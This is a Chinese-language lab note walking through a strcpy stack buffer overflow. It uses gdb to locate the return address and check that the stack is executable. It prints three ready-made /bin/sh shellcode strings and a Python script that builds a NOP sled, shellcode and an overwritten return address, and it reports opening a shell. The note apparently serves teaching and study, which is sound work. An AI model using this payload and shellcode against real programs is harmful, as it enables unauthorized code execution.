内存攻击实战笔记 - strcpy 栈溢出攻击
1. 代码静态分析
如上图所示,有一个buffer很明显可以被拿来溢出;
2. 攻击逻辑分析
上图展示了一个正常的调用栈构成,在调用函数发起调用后,被调函数将形式参数、返回地址、前帧指针(记录callee的栈顶)和本地变量依次压进栈中,随后执行函数功能。
攻击者可以通过溢出本地变量的方式覆盖掉返回地址,以此达到当被调函数返回时,返回到攻击者指定内存地址的效果。如果该指定地点是一个已经存在的函数或共享库中的函数,那么被调函数结束时,将会直接开始执行该指定函数。这种攻击我们称为 ROP攻击(return oriented programming attack,面向返回编程攻击)。如果返回地址是攻击者控制的输入(比如上图中的buffer),而输入中包含了可执行代码(比如shellcode),那么这种攻击我们称为注入攻击(Shellcode injection)。
本笔记便讨论如何进行返回攻击,实行该攻击需要以下条件:
1. 攻击者控制输入
2. 注入地址可执行
攻击完成后,栈内环境应该如下图所示:
3. 攻击过程记录
通过代码分析可知,漏洞存在攻击者可以控制的输入,但是不知道内存是否可以修改,所以使用下列命令查看:
gdb$ vmmap # inside gdb debug tools $ cat /proc/<pid>/maps # in bash
输出如下:
可以看到在stack(栈)部分的内存是可执行1的,因而放置shellcode后如果能够控制程序返回跳转到这里,那么shellcode就能够被执行。
攻击中常用的几种shellcode:
open = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff" + "/bin/sh" bash = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" sudo = "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
NUL = "\x90"
我们先随便放点输入,看看我们要攻击的函数的栈结构:
可以看到,栈中我们的输入从0xffffd130<stack+16>处开始,在0xffffd43c<stack+796>处遇到了返回地址。也就是说,我们需要通过溢出的方式将 <stack+16> 到 <stack+795>的全部内存占满并植入shellcode,然后在<stack+796>到<stack+800> 处放置我们设置的返回地址,也就是buffer的起始地址。
写一个如下的python脚本来生成输入:
import sys
# 占满内存空间,使用大量的 0x90 是因为 0x90 是一条机器指令,其作用是消耗1CPU周期但不做任何操作,这样就算是我们的return address设置的有点歪也不会出什么问题。 sys.stdout.write("\x90" * 16)
# 植入shellcode:打开 /bin/sh, 这一条shellcode长度是45 Byte sys.stdout.write("\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh")
# 填满剩下的部分,45 + 16 + 719 = 780 Bytes sys.stdout.write("\x90" * 719) # 在最后填上我们指定的返回地址。注意,上面的截图中我们看到的buffer起始地址不一定是现在我们在用的地址,原因是随着输入字符数量的变化,argument部分(见第二部分的图)的空间会变化,跟随而来的,local variables的内存地址也会变化。
# 因而,此处的地址究竟是什么,还需要多次重复上面的过程来寻找答案。 sys.stdout.write("\x40\xce\xff\xff")
脚本写完,run一下试试看:
(gdb) $run `python ./input.py`
成功:
如红框所示,我们成功的在gdb中开了一个/bin/sh.
4. DLC
1. 第三部分中的“可执行”的含义是:如果程序在应当执行指令的时候读取到了stack上的内容,那么它可以执行。比如本例中我们将ret address改为了一个在stack上的地址,于是函数在执行到ret 的时候并没有返回到他的
caller,也就是<main + 76>, 反而是跳转到了我们指定的内存地址 0xffffce40 并把这个地址中的内容当作了可供执行的指令(而其中确实存放了可以执行的字节码),所以此次攻击成功了。如果跳转后的地址没有执行的权限,那么程序将抛出 segfault。
2. 第三部分中的第二张图的几个彩色框框的含义:
红色框:内存地址
黄色框:内存地址中存放的内容
青色框:如果内存地址中存放的内容是指针(换句话说,还是个地址),那么在青色框中显示对此地址的解引用(deref)结果。
因此,内存地址 0cffffd120 和 0xffffd124不是buffer的起始地址和结束地址。